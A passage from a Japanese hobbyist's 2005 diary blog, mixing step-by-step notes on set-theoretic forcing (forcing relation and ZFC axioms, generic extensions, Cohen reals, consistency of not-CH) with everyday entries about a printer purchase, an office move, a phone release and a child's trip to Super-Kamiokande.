とすると $D_{\alpha,n}\in{M}$ かつ $D_{\alpha,n}$ は $\mathbb{P}$ で dense. 従って $p||-\dot{G}\cap{D_{\alpha,n}}\neq\emptyset$ が成立し $p||-\text{dom}(\dot{f}_\alpha)~=~\omega.$
(c)は(b)と同様に $\alpha,\beta\in\lambda,\,\alpha\neq\beta$ に対し
$E_{\alpha,\beta}=\{p\in\mathbb{P}\,|\,\exist{n\in\omega}~(p(\alpha,n)\neq{}p(\beta,n))\}$
を考えれば良いのです。結局任意の $p\in\mathbb{P}$ による強制関係において、すべての $\alpha\in\lambda$ に対して $\dot{f}_\alpha\in{2^\omega}$ が成立し、さらにこれらはすべて異なるので
$\mathbb{1}\,||-\,|\lambda|\le|2^\omega|$
言い換えると $M[G]$ で $|\lambda|\le|2^\omega|.$ $\lambda\in{M}$ は任意の非可算基数だったので、これで証明完了...と思いたいところですが、「基数」はモデルの拡大において絶対的ではないので、例えば $M[G]$ において $|\lambda|$ が $\aleph_0,\,\aleph_1$ である可能性も(現段階では)ありえるのです。そもそも基数にならない場合もあり得ますし。実際 $\mathbb{Q}=\{q\,|\,q\text{~is~a~function~from~a~finite~subset~of~}\omega~\text{~to~}\lambda\}$ による強制を考えると $1_{\mathbb{Q}}\,||-\,|\lambda|=\aleph_0$ であることが分かります。次回は少なくとも $\mathbb{P}$ における強制に関してはこのようは事態が発生せず「基数が保存される」ことを示し、「連続体仮説の否定は ZFC と矛盾しない」ことの証明を完了する予定です。

2005年8月24日(水)

AH-K3002V
京セラから AH-K3002V が発表になったようです。うたい文句としては、
- セキュリティーに配慮してカメラは搭載しない。
- 電話を紛失した場合のリモートロック機能。
なのだそうな。いやはやそれにしてもつまんない製品を企画したものですなあ。まあ AH-K3001V に搭載されているカメラが役に立つ訳ではないのですが、遊び心としてあんなのが付いているのは悪くないと思うし、そもそも今時写真を撮る手段などいくらでもあるのに、あえて PHS に搭載しないことを「売り」にするという考え方には強い違和感を感じます。
企業向けというポリシーを強く出しているようで、音声定額やデーター通信定額を売りにして、さらに全く役に立ちそうにない「セキュリティ－」なるお題目で幻惑して、いろんな会社にまるごと採用させる商売を狙っているのかな。
というわけで、それなりに面白い商品だった場合、買い替えもありうるかな～、と考えていたのですが、まったく期待はずれだったのです。次回は個人向けの楽しいポリシーの製品を企画してもらいたいものです。

2005年8月22日(月)

腰イタ
うーん、車が最大の原因かも。私も昔田舎で日常車に乗ってたときは良く痛くなったのですが、東京に出て来て否応無しに電車通勤になってから一度も痛くなっていません。仕事とかで使う必要がない日には、ちと余計なお金がかかるのと面倒なのが難点ですが、たまに電車で通勤するのが良いかも知れません。
＃素人考えなので全くあてにはなりません。お大事に。

2005年8月21日(日)

Generic 拡大(Generic extension)・二回目

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

[集合論雑記目次]
本日も $M$ を $\text{ZFC}$ の推移的なモデルとして、 $G$ を半順序集集合 $\mathbb{P}\in{M}$ による Generic とします。このとき次の事実が成立します。
$(a)\,\,~G\in{M[G]}$
$(b)\,\,M\subset{N}$ が推移的な $\text{ZFC}$ のモデルで $G\in{N}$ ならば $M[G]\subset{N}$
$(c)\,\,\text{Ord}(M[G])=\text{Ord}(M)$
(a)(b)は Generic の標準名称 $\dot{G}$ が任意の Generic の名称になっていることから導かれます。(c) に関してはまず「 $\alpha$ は順序数である」という論理式が $\Delta_0$ であることにより
$\text{Ord}(M)\subset\text{Ord}(M[G])$
が導かれます。逆の包含関係は次の様に証明されます。 $\dot{x}$ を名称とし $p\in{G}$ に対して $p||-'\dot{x}\text{~is~an~ordinal}'$ が成立していると仮定します。ここで
$A=\{\alpha\in\text{Ord}(M)\,|\,\exists{q\le{p}}(q||-\alpha\in\dot{x})\}$
とおくと $A$ は $A\in{M}$ を満たす順序数からなる集合となります。ところが rank に関する帰納法により任意の $q\le{p}$ に対して
$q||-(\dot{y}\in\dot{x})\,\rightarrow\,~q||-\exist{\alpha\in\text{Ord}(M)}(\dot{y}={\alpha})$
従って $q||-(\dot{y}\in\dot{x})\,\rightarrow\,~q||-\dot{y}\in\check{A}$ が成立するので $p||-\dot{x}\subset\check{A}.$ $A$ は $M$ の順序数からなる集合なので $A\subset\beta\in\text{Ord}(M)$ なる順序数が存在し $p||-\dot{x}\in\beta\vee\dot{x}=\beta.$
第一の条件、第二の条件いずれからも $p||-\exist{\alpha\in\text{Ord}(M)}(\dot{x}=\alpha)$ が導かれます。
上の簡単な証明でも分かる様に Generic $G$ の存在は余り本質的ではなく、 $M[G]$ に関する論証はすべて強制関係に翻訳することが可能です。本日は Generic 自体の性質を直接使用することはなかったのですが、Generic の標準名称 $\dot{G}$ は強制関係で Generic の性質を持つのでこちらも問題になりません。従って Generic が存在しない場合においても、仮想的な Generic 拡大 $M[G]$ を「考えて」、時にきわどい論証を行う場合以外は、実際に拡大が存在する場合と同様の手順での論証が可能なのです。もちろんこのような「仮想的な」論証に疑問が生じた時はいつでも強制関係への置き換えを考えれば良いのです。
特に集合論のユニヴァース $V$ の(仮想的な) Generic 拡大 $V[G]$ を「考え」強制関係の言い換えとして考察することさえ可能なのです。ただしこの場合は、特定の Generic を指定しても意味が無いので、 Generic の標準名称 $\dot{G}$ を Generic の「親玉(笑)」の様に考えて、
$V[G]|=\varphi\,\Leftrightarrow\,\mathbb{1}||-\varphi$
が成立するということになります。
次回は「連続体仮説の否定」が $\text{ZFC}$ と矛盾しない事実の証明を記述します。簡単な Generic 拡大で $\omega_1~<~2^{\aleph_0}$ が成立することは一見すぐにに証明出来そうな気がするのですが、基数の「絶対性」の証明の方が案外めんどうなのです。

2005年8月20日(土)

Generic 拡大(Generic extension)・一回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

原理的には強制関係の考察のみで ZFC での種々の独立性の証明が可能なのですが、実際には強制関係が「成立する」ことと同様の関係が成立する「モデル」に対しての考察が行えないと不便です。さらに強制を複数回(場合によっては超限回)適用する場合、強制関係のみ概念では記述自体が困難になってきます。
そこで今回はまずもとのモデルが可算であり、Generic が実際に存在する場合について Generic 拡大の定義と基本性質を記述することにします。

[Generic 拡大の定義]

$\mathbb{P}$ を元のモデル $M$ に属する半順序集合として、 $M$ に属するかどうかは不明ですが、その Generic を $G$ とします。このとき $M$ の $G$ による Generic 拡大 $M[G]$ を次の様に定義します。
$\dot{x}\in{M}^{\mathbb{P}}$ を名称とするとき $\dot{x}$ の $G$ による解釈 ${\dot{x}}^{G}$ は
${\dot{x}}^{G}~=~\{\dot{y}^G\|~\exists{p\in{G}}((\dot{y},p)\in\dot{x})\}$
そして
$M[G]=\{\dot{x}^G\|~\dot{x}\in{M^{\mathbb{P}}}\}$

[基本定理]

次の定理が成立します。 $\varphi(x_1,x_2,\cdots,x_n)$ をすべての自由変数を明記した論理式とするとき
$M[G]\,|=\varphi(\dot{x}_1^G,\dot{x}_2^G,\cdots,\dot{x}_n^G)~\,\Leftrightarrow\,~\exists{p\in{G}}(p||-\varphi(\dot{x}_1,\dot{x}_1,\cdots,\dot{x}_n))$
さらに $x\in{M}$ に関しては $\check{x}^G~=~x$ が成立します。すなわち $\text{rank}$ に関する帰納法により
$\check{x}^G~=~\{\check{y}^G\,|\,\exists{p\in{G}}((\check{y},p)\in\check{x})\}~=\{y\,|\,y\in{x}\}=~x$
即ち $M\subset{M[G]}$ と考えることが可能です。さらに $\mathbb{1}$ は任意の Generic の要素なので
$\text{ZFC}\,|-\varphi~\,\Rightarrow\,~\mathbb{1}||-\varphi~\,\Rightarrow\,~M[G]\,|=~\varphi$
となり $M[G]$ は ZFC の推移的なモデルとなります(推移性は明らか)。

[基本定理]の証明はここまで準備を行うと簡単です。

(1) (この証明変です. 後で修正します. 2006年4月18日追記) $\dot{X}^G~=~\dot{Y}^G\,\Rightarrow~\exists{p\in{G}}(p||-\dot{X}=\dot{Y})$ の証明。

$\dot{X}^G\subset\dot{Y}^G$ を仮定し $p||-\dot{x}\in\dot{X}$ とします。すると強制係の定義により
$(a)\,\,\exists{(\dot{y},r)\in\dot{X}}(q\le{r}\,\wedge\,~q||-\dot{x}=\dot{y})$
を満たす $q\in\mathbb{P}$ は dense below $p$ となります。ところが $G$ が Generic であることにより $q\in{G}$ と選ぶことが可能です。すると (a) と rank による仮定法により $\dot{x}^G=\dot{y}^G$ が成立し従って (3) により(この証明には帰納法は使用していない)
$q||-\dot{x}\in\dot{Y}$
従って
$\dot{X}^G~\subset~\dot{Y}^G\,\Rightarrow\,~\exists{p\in{G}}(p||-\dot{X}\subset\dot{Y})$

(2) $\exists{p\in{G}}(p||-\dot{X}=\dot{Y})\,\Rightarrow\,~\dot{X}^G~=~\dot{Y}^G$ の証明。

まず $M[G]$ は推移的なので外延性の公理が成立していることに注意します。そこで $\exists{p\in{G}}(p||-\dot{X}=\dot{Y})$ として $\dot{x}^G\in{\dot{X}^G}$ とします。すると $\exists{q\in{G}}((\dot{x},q)\in\dot{X})$ が成立しするので $r\in{G}\,\wedge\,r\le{p}\,\wedge\,r\le{q}$ が存在し
$r||-\dot{x}\in\dot{Y}$
従って $(\dot{y},t)$ が存在して $s\le{t}\,\wedge\,s||-\dot{x}=\dot{y}$ なる $s$ は dense below $r.$ $G$ は Generic filter なので上の $s$ は $G$ の要素として良く rank による帰納法により $\dot{x}^G=\dot{y}^G$ 従って
$\dot{x}^G\in\dot{Y}^G$

(3) $\dot{x}^G~\in~\dot{X}^G\,\Rightarrow~\exists{p\in{G}}(p||-\dot{x}\in\dot{X})$ の証明。

$M[G]$ で $\dot{x}^G~\in~\dot{X}^G$ が成立していると仮定します。すると定義により $\exists{p\in{G}}((\dot{x},p)\in\dot{X})$ が成立するので $p\in{G}$ が存在し $p||-\dot{x}\in\dot{X}.$

(4) $\exists{p\in{G}}(p||-\dot{x}\in\dot{X})\,\Rightarrow~\,\dot{x}^G~\in~\dot{X}^G$ の証明。

(2)と全く同様に証明出来ます。

一般の論理式に対する言明に関しては簡単な帰納法です。今回定義した $M[G]$ はもちろん Generic $G$ が存在しなけれ一見無意味ですし、実際きちんと定義されたモデルとしては意味がありません。ところが $\mathbb{P}$ -Generic の標準名は具体的に定義可能で、さらに任意の強制関係において Generic の性質をもちます。つまり Generic が存在しない場合でも、強制関係においては「存在する」ということは言える訳で、それを利用して、今回定義した $M[G]$ と同様な仮想的な「拡大モデル」(実は単に強制関係の言い換えに過ぎないですが)を考えることにより、直感的に見通しが良い論証が可能になるとともに、論理的にも問題が発生しないことが知られています。この事実に関しては次回 $M[G]$ の基本的な性質とともに、非公式な形で記述したいと考えております。

2005年8月19日(金)

プリンター購入
おうちで今まで使っていたプリンターは Canon BJ S600 という機種で、購入してから5年以上経過してさすがに最近のに比べると印字品質で見劣りがするのと、さらに印刷すると文字や絵がかすれるという症状が発生する様になってきました。そこでそろそろ新しいのにしようかな～、ということで機種の選択です。選択基準としては、
- 本体価格が安いこと。
- ランニングコストが安いこと。特にインクタンクは独立に交換可能であること。
- そこそこの品位で印字可能なこと。
- お子さまの要望として CD-R 等に直接印刷出来ること。
- 両面印字可能だとなお良い。
あたりなのですが、結局あんまり考えないで選択したのが、もともと安く型落ちということでさらに安いという 12,000円の Canon PIXUS iP3100 なのです。
事前にプリンターに詳しい人に聞いたところ、予想通りプリンターの本体の価格ではメーカーは全然儲からず、インクの売り上げで利益を上げるそうで、本音としては安いプリンターはあんまり売りたくないそうです。でもラインアップ上仕方なく発売していわけで、本当は安いのでもちょっと見た目には高いのと変わらない印字品質があるそうな。
実際 LaTeX で書いた数式たくさんの文書と、モカちゃんの写真を印刷してみたのですが、いやはやさすがに 5年間の進歩はたいしたもので、前のプリンターより遥かに良好な印字品質です。LaTeX の文書の方はちょっと見た目ではレーザープリンターとあんまり変わらない感じです。写真の方も家庭でちょっと印刷するには十分ですし、本当に良い品質のが欲しくなったら現像ラボに出せば良いし。まあ見る人が見ればもっと高いのに比較していろんな違いが分かるのでしょうが、私は違いが分からない人なので(笑)この機種で十分そうです。
本当は前のプリンターは Mac に繋いで文書試し印刷専用機にしたいところですが、設置する場所が確保出来ないのが悲しいのです(^^。

2005年8月18日(木)

おひっこし～
今日は部署のおひっっこしです。まあ同じフロアーを移動するだけなのですが、とにかく体を動かすのは嫌いだし、さらにものを運ぶとなるとその苦痛は1000 倍にも達するのですよ！あーやだやだ(^^。
それはそうと引っ越しと言えばあれですよあれ(笑)。さっそくおでこに貼り付けてそのあたりをうろついたところ、とてもよく似合っているというお言葉を多数頂いたのです。ただしお客さんらしき人に見られた時はちとあせりました(^^。いやいやお客さんの方がもっと驚いてたのは間違いないと思うのですが、これが原因で商談が一つだめになったらどうしよう(^^。
明日はお休みにする予定です。結局今週は急な仕事が入ったりして夏休みは火曜日と明日の金曜日だけ。二日も余してしまった。というわけで浜松遠征の9月1日(木) とその翌日の金曜日に残りの二日を消化しようかと考えています。

2005年8月16日(火)

勉強記憶法
前にも書きましたが、私が少なくとも経済的な面とか、その他社会的な「常識」の観点から考えると、自分で創造する能力がないので何の役にも立たないと考えられる集合論の勉強をしているのは、ひとえに無限の認識に対する好奇心であり、純粋な趣味、というより完全に自己満足の世界なのです。ところでだたでさえ才能がない人間が、さらにいい年をして勉強をするときの最大の問題点は、まあ理解力が劣っているのは仕方がないとして、
勉強して覚える速度よりも忘れる速度の方が速い(笑)
ということなんですよ(^^。
一見以前の結果だけを覚えておけば良い様な気がしますが、数学の場合の常として、証明の少なくともアウトラインを忘れてしまうと、その定理を適用する場合非常に間違いやすいのです。そもそも結果自体もどんどん忘れてゆくし (笑)。
結論としては、きちんとしたノートを作成して、勉強したキーポイントを記録する必要があるということが分かるのですが、悪いことに私は昔からノート類の管理ができず、書いたはなから無くしてしまうのですよ(^^。
ところでこういう場合、今や全く興味がなくなってしまったコンピューターというのは案外便利なものでして、なぜか私としては例外的に整理が行き届いているし、さらにいつでも参照可能なのがとても便利なのです。もちろんたまには過去の日記の内容が役に立つ場合もあるのですが、勉強したことのほんの一部しか記述しておりません。
そこで、今後は勉強した内容のメモを LaTeX になぐり書きしていく運用を考えています。体裁とかフォーマットもなにも考えずにどんどん書いてゆくのです。ある程度まとまったところで見栄えを良くするというのは良い考えかも知れません。ただし普通に勉強している場合は、ノートに書きながら証明を追いかける訳で、それをコンピューターに打ち込むというのは二度手間になることは確かです。ただしその手間を惜しまなければ、記録が残るという良い点ととともに、勉強した内容に関する理解が深まるという副次的なご利益もありそうです。現実に、おそらくたくさんの間違いがあるとは思うのですが、日記に書いた部分はそれ以外の部分に比して少しは理解度が高まっていると思われるのです。
はてさて、自分に対して強制するためにこんなことを書きましたが、すぐ面倒になってやめてしまう恐れ大です。いつまで続くのでしょうか。ある意味楽しみですな(^^。

2005年8月14日(日)

夏休み終る(^^
いやはや、ちとトラブルが出て明日は出社です。さらに今晩中に一つプログラムをかく必要があるという...。うーん明後日も出なきゃいけない可能性があるし、木曜日は部署の引っ越し。水曜日と金曜日に休んだとしてもすごく細切れになってしまうし 2日間余ってしまいます。後回しにすると言っても来週以降結構忙しいしどうしよう。
夏休みは9月初旬までに4日間消化しないと権利が消失します。こういう場合の作戦としては、
(1) 「土曜日に出社」して休日出勤とする。
(2) 月曜日に夏休みを消化する。
を何回か行い (1) は一月間有効なので、もし一月経過してしまった場合、
(1) 「土曜日に出社」して休日出勤とする。
(2) 前月の土曜日の休日出勤を月曜日に消化する(^^。
を繰り返す方法があるのですが、この方法も運用がなかなか面倒なのです(笑)。

2005年8月13日(土)

強制法(forcing)のご利益
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

前回まで強制関係が ZFC のすべての公理を「満たす」ことを証明しました。即ち $M$ を集合論の推移的なモデルとして $\mathbb{P}$ をそのモデルでの半順序集合とするとき $\mathbb{P}$ に関する強制関係において次の関係が成立します。
$\text{ZFC}|-\varphi~\,\Rightarrow\,~\mathbb{1}||-\varphi$
さらに次の条件が成立したとします。
$(a)\,\,\exists{p\in\mathbb{P}}(p||-\varphi)$
このとき $\varphi$ は ZFC と矛盾しません。なぜならばもしそうでないと仮定すると $\text{ZFC}|-\neg\varphi$ なので $\mathbb{1}||-\neg\varphi$ が成立し、これは (a) に矛盾します。ここで強制法のご利益で一番簡単な例を記述するために、まず
$\mathbb{P}~=~\{p\,|\,~p~\text{~is~a~function~from~finite~subset~of~}~\omega~\text{~to~}2\}$
とします。すなわち自然数の有限集合から $\{0,~1\}$ への関数全体を考えるのです。ここで $\mathbb{P}$ の順序は $p\le{q}\,\leftrightarrow\,q\subset{p}$ で与えらるものとします。さて $\dot{G}$ を $\mathbb{P}$ -Generic の標準名称として、名称 $\dot{f}$ を
$\mathbb{1}||-\dot{f}=\bigcup{\dot{G}}$
を満たすものとします。すると $\dot{G}$ が強制関係においてフィルターの条件を満たすことにより
$\mathbb{1}||-\dot{f}\text{~is~a~function~from~a~subset~of~}\omega~\text{~to~}2$
が成立します。さらに
$D_n=\{d\in\mathbb{P}\,|\,n\in\text{dom}(d)\}$
とおくと $D_n$ は $\mathbb{P}$ の Dense subset でさらに $D_n\in{M}$ が成立します。従って $\mathbb{1}||-\dot{G}\cap\check{D_n}\neq\emptyset$ が成立するので
$\mathbb{1}||-\text{dom}(\dot{f})=\omega$
ここで $\dot{D}=\{\check{d}\in\mathbb{\check{P}}\,|\,~\mathbb{1}||-\check{d}\not\subset\dot{f}\}$ なる名称 $\dot{D}$ を考えると次の事実が成立します。
$\mathbb{1}||-\dot{D}\text{~is~dense~in~}\mathbb{P}\cr~\mathbb{1}||-\dot{G}\cap\dot{D}=\emptyset$
従ってもし $\mathbb{1}||-\dot{f}\in\check{M}$ と仮定すると $\mathbb{1}||-\dot{D}\in\check{M}$ となり矛盾です。つまり強制関係において、元のモデルに属さない実数 $\dot{f}$ が構成されました。このような実数を「Cohen 実数」と呼びます。 $\mathbb{P}$ の要素のの定義域と値域をちょっと変更すると、元のモデルに大量の Cohen 実数を付加することが可能となり、強制関係において「連続対仮説の否定」を導くことが可能となります。即ち「連続対仮説の否定は ZFC と矛盾しない」ことが導かれます。ただ、さすがに強制関係だけによる記述を続けるのは疲れてきたので(笑)、次回はGeneric extension に関して記述する予定です。
[重要な注意]
単に名称と考えれば $\dot{f}\in{M}^{\mathbb{P}}\subset{M}$ であるし $\dot{D}$ に関しても同様です。これらが $M$ 上できちんと定義可能であることが重要なのです。

2005年8月12日(金)

いちだんらく
やっとこ CF 1000枚のマスターも完成し明日から夏休みです。本当は 9連休としたいところですが、この時期になにを考えてるんだか、来週の木曜日に部署の場所移動があるのでその日は出社です。それでも 5日休んで、1日会社。その後またまた 3連休ということで、いくらか疲れが取れそうな気がします。例のごとくどこかに出かけるという予定は全然なく、まあぼちぼち趣味の数学の勉強でもしながら、のんびり過ごしたいと考えています。

2005年8月11日(木)

いちばんくじ
今日、浩子さん浜松公演のチケットが届きました。おお！やっぱりはじめてのいちばんくじ(^^。まあ一生に一度くらいこんなことがあっても良いでしょう。後は当日どうしてもはずせない仕事が入るとか、新幹線が止まってしまわないこと祈るだけです。

2005年8月10日(水)

モカちゃん帰宅
本日17時45分に湘南台に到着したと連絡がありました。私がおうちに帰ったのは 21時頃で、いろんな話を聞きたかったのですが、だいぶ疲れたようでその時間にはもう寝てました(^^。
菅直人来たる
私の勤めてる会社は東京の府中市。社長は東工大出身。そんなしがらみからか、菅直人が会社に来たのです。ねたのために握手してしまった(笑)。うーん、もともとテレビなんかで握手しまくっている候補者をみて、「あんなの効果ある訳ないじゃん」と思っていたのですが、もしかして今回だけは民主党に入れてしまうかも知れません。本来私は、自民党・民主党・宗教団体政党は絶対には投票しない人なのですが、いやはやいつもの通り軟弱かつミーハーかつブランド志向の本性が現れましたな(^^。

2005年8月8日(月)

ニュートリノ見学
今日から三日間モカちゃんは藤沢市科学少年団主催の合宿で、神岡市のスーパーカミオカンデの見学です。朝6時45分に湘南台の駅に集合ということで、私も通勤がてら奥さま運転の車に同乗して送ってきたのです。
それにしてもらやまし～(^^。ニュートリノですよニュートリノの見学！！。いいないいな私も見たいのに(笑)。なのでモカちゃんにお願いしたこと。

モカちゃんと交換で私が行く。モカちゃんは会社で仕事する。

理由は良くわからないのですが却下でした(笑)。

お土産にニュートリノをもってくる。

ははは、こちらは取り方が分からないといことで却下です。てゆうかニュートリノって毎秒億だか兆もしくはそれ以上の個数が我々の体を通り抜けてるらしいし。そういう意味では珍しいものではないのかも。

ニュートリノ饅頭もしくはニュートリノ煎餅を買ってくる。

こちらは「もしあったら」買って来てくれるそうな。でもきっとないだろうな(^^。

光電管をこっそり盗んでくる。

いやいや子供に盗みなどさせてはいけません。
というわけでなかなか私の思い通りにはならないのです。それはそうと、モカちゃんは私のカメラを持って行ったのですが、果たして地下の巨大水置き場の撮影は許可されているのだろうか？さらにモカちゃんは「なくしたり壊したりしたら大変」と心配していたのですが、いやいや私としてはそろそろなくすか壊してくれた方が...と言ったら奥さまに怒られてしまいました。どうしてなんだろう(^^。

2005年8月7日(日)

強制法(forcing)とZFC・三回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
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http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

すみません。三日連続このねたで(^^。というわけで、今日は強制関係 (forcing relation)において、「置換公理」「選択公理」「正則の公理」が成立することの証明です。これらが完了すれば、強制関係が ZFC を満たすことを一通り証明したことになるのです。

[置換公理]

$\varphi$ を論理式とします。証明すべきことは
$\mathbb{1}||-\forall{x}\exist{!y}(\varphi(x,y))\rightarrow~\forall{X}\exist{Y}\forall{x}(x\in{X}\,\rightarrow~\exist{y}(y\in{Y}\wedge{\varphi(x,y)}))$
$X\in{M^{\mathbb{P}}}$ とます。このとき「反映の原理」により $Z\in{M},\,Z\subset{M^{\mathbb{P}}}$ が存在し
$\forall{x\in\text{dom}(X)}\forall{p\in\mathbb{P}}~(\exist{y\in{M^{\mathbb{P}}}}(p||-\varphi(x,y))\,\rightarrow\,~\exist{y\in{Z}}(p||-\varphi(x,y)))$
を満たすので $Y=Z\times\{\mathbb{1}\}$ とおくと条件が成立します。[Kunen. Set Theory を参考]

[選択公理]

任意の $p\in\mathbb{P},\,X\in{M^{\mathbb{P}}$ に対し
$p||-'X$ 上に整列順序が存在する'
ことを示します。まず $Z=\text{dom}(X)$ をもとのモデル $M$ の要素と考え
$f=\{(\check{z},z)^{\mathbb{P}}\,|\,z\in{Z}\}~\times\{\mathbb{1}\}\in{M^{\mathbb{P}}}$
ここで $(\check{z},z)^{\mathbb{P}}$ は $M^{\mathbb{P}}$ 上の強制関係において順序対を表現する対象式とします。 $f$ の第一座標は標準名からなるので次の事実が分かります。
$p||-f\,\,\text{is~a~function~from~}\check{Z}\text{~to~ran}(f)\cr~p||-X\subset\text{ran}(f)$
$Z$ 上には元のモデルでの整列順序が存在するので、強制関係において $\check{Z}$ 上に整列順序が存在します。従って $p$ は $X$ 上に整列順序が存在することを強制します。[Jech. Set Theory を参考]

[正則の公理]

証明すべきことは
$\mathbb{1}||-\forall{X}(X\neq\emptyset\rightarrow\exist{x}(x\in{X}~\,\wedge\,x\cap{X}=\emptyset)$
です。もし成立しないと仮定すると $p\in\mathbb{P}$ が存在して
$p||-\exist{X}(X\neq\empty\,\wedge\,\forall{x}(x\in{X}\rightarrow~x\cap{X}\neq\emptyset))$
ここで $q\le{p}$ と $X\in{M^{\mathbb{P}}}$ を固定して
$(a)\,\,q||-X\neq\empty\,\wedge\,\forall{x}(x\in{X}~\rightarrow{x}\cap{X}\neq\emptyset)$
が成立するものとします。 (a)の右辺を $\varphi$ で表し次の空でないクラス $C$ を考え、
$C=\{x\in{M^{\mathbb{P}}}\,|\,\exist{r\le{q}}(r||-x\in{X}\,\wedge\,\varphi)\}$
$C$ の要素で $\text{rank}$ が最小のものを $x\in{C}$ とします。すると $r\le{q}$ が存在し $r||-x\in{X}\,\wedge\,x\cap{X}\neq\emptyset$ が成立し、従って $s\le{r}\,z\in{M^{\mathbb{P}}}$ が存在し
$s||-z\in{x}\,\wedge\,~z\in{X}$
もちろん $s||-\varphi$ は成立しているので $\text{rank}(z)<\text{rank}(x)~\,\wedge\,~z\in{C}$ となるがこれは $\text{rank}(x)$ の最小性に矛盾します。[Jech. Set Theory を参考]
これで強制関係がZFCの公理すべてを満たすことが証明出来ました。参考にした本は Kunen. Set Theory と Jech. Set Theory なのですが、Kunen の本には Generic 拡大での同等な証明、Jech の本には Boolean valued model での同等な証明が記述されています。これらを参考にして強制関係のみを使った証明に書き直したのですが、間違えてしまっている部分も多々ありそうです。そのあたりをご指摘頂けるととてもうれしいです。
いずれにしてもこれで「連続対仮説の ZFC からの独立性」を証明する準備が整った様な気がします。次回はその証明に対する forcing のご利益ということで、あまり厳密ではなく「元のモデルに存在しない新しい実数を『構成する』」ことについて記述したいと考えております。

2005年8月6日(土)

強制法(forcing)とZFC・二回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

今回は「合併の公理」「無限公理」「冪集合の公理」が強制関係(forcing relation) において成立することの証明を記述します。

[合併の公理]

証明すべきことは
$\mathbb{1}||-\forall{X}\exist{Y}\forall{x}~(\exist{u}(u\in{X}\wedge{x}\in{u})\,\rightarrow~x\in{Y})$
です。 $X\in{M^{\mathbb{P}}}$ を固定して
$Y=\bigcup\text{dom}(X)$
とし、さらに $x,~u\in{M^{\mathbb{P}}},\,p\in\mathbb{P}$ が次の条件を満たすものとします。
$(a)\,\,p||-u\in{X}\,\wedge\,x\in{u}$
このとき $p||-x\in{Y}$ を示せば証明完了です。まず $p||-u\in{X}$ により dense belop $p$ なる $q$ に対して次の事実が成立します。
$(b)\,\,(v,~r)\in{X}$ が存在して $q\le{r}\,\wedge\,~q||-u=v~.$
(b)より
$q||-v\in{X}\,\wedge\,v\in\text{dom}(X)$
ところが $q||-x\in{u}$ より $q||-x\in{v}.$ よって dense below $q$ なる $s$ に対し $(z,t)\in{v}$ (従って $(z,t)\in{Y}$ )が存在し $s\le{t}\,\wedge\,s||-x=z$ を満たす。従って $s||-x\in{Y}.$ この様な $s$ はいもづる式に dense below $p$ なので
$p||-x\in{Y}$

[無限公理]

$\omega$ の標準名 $\check{\omega}$ が強制関係において無限公理を満たすことが簡単に証明可能です(\check を \tilde で代用)。

[冪集合の公理]

証明すべきことは次の通りです。
$\mathbb{1}||-\forall{X}\exist{Z}\forall{Y}(Y\subset{X}\rightarrow~Y\in{Z})$
これを証明するため $X\in{M^{\mathbb{P}}}$ に対し
$S=\{U\in~M^{\mathbb{P}}\,|\,~\text{dom}(U)\subset\text{dom}(X)\}$
として、さらに $Z=S\times\{\mathbb{1}\}$ とします。ここで $p\in\mathbb{P}$ に対し
$p||-Y\subset{X}$
を仮定します。ところで
$Y^{'}~=~\{(y,q)\,|\,y\in\text{dom}(X)\,\wedge\,q||-y\in{Y}\}$
とおくと明らかに $Y^{'}\in{S}$ が成立し $p||-Y^{'}\in{Z}.$ 従って $p||-Y=Y^{'}$ を示せば証明完了ですがこれは定義によりほとんど明らかです。この証明は未だに Generic extension を利用していないで forcing での記述をしている点を除けばほとんど Kunen の本からの引用です。
残るは「置換公理」「選択公理」「正則の公理」です。

2005年8月5日(金)

強制法(forcing)とZFC・一回目
[集合論雑記目次]

[2006年6月8日] 集合論雑記の強制法に関する部分はPDFファイルにまとめました。こちらの方が誤りが少なく、論理的にも整理されていると思います。詳しくは 2006年6月8日の記事を参照して下さい。
http://evariste.jp/kagami/diary/0000/forcing-1.0.pdf
http://evariste.jp/kagami/diary/0000/forcing-1.0.tex

二三回に分けて forcing relation が ZFC の公理をすべて「満たす」ことの証明を記述します。つまり $\varphi$ を ZFC の公理とするとき
$\mathbb{1}||-\varphi$
が成立することを示すのです。今回は簡単な方からということで、「存在公理」「対の公理」「外延性の公理」「内包の公理」あたりまで。しばらくの間は Generic extension の概念を使わないでがんばる予定。

[存在公理]

名称 $\emptyset$ が強制関係において「空集合」の性質を満たすことにより明らかです。

[対の公理]

$x,~y\in{M^{\mathbb{P}}}$ を二つの名称とし $Z=\{(x,\mathbb{1}),~(y,\mathbb{1})\}$ とすると定義から容易に
$\mathbb{1}||-x\in{Z}\,\wedge\,y\in{Z}$

[外延性の公理]

そもそも強制法での「等号の定義」がとても面倒なのは、外延性の公理を満たすためだそうで、これは難しくはないのですが少々長くなります。ただしこの公理が成立することを証明してしまうと、等号の定義に戻ることはほとんどなく必要なくなるため、今後の経営が楽になります(笑)。
外延性の公理が強制関係において成立するということは
$\mathbb{1}||-{\forall{X}\forall{Y}~~~(\forall{x}(x\in{X}\leftrightarrow~x\in{Y})~\rightarrow~X=Y)}$
ということです。言い換えると $X,~Y$ を名称とするとき、任意の $p\in\mathbb{P}$ に対し
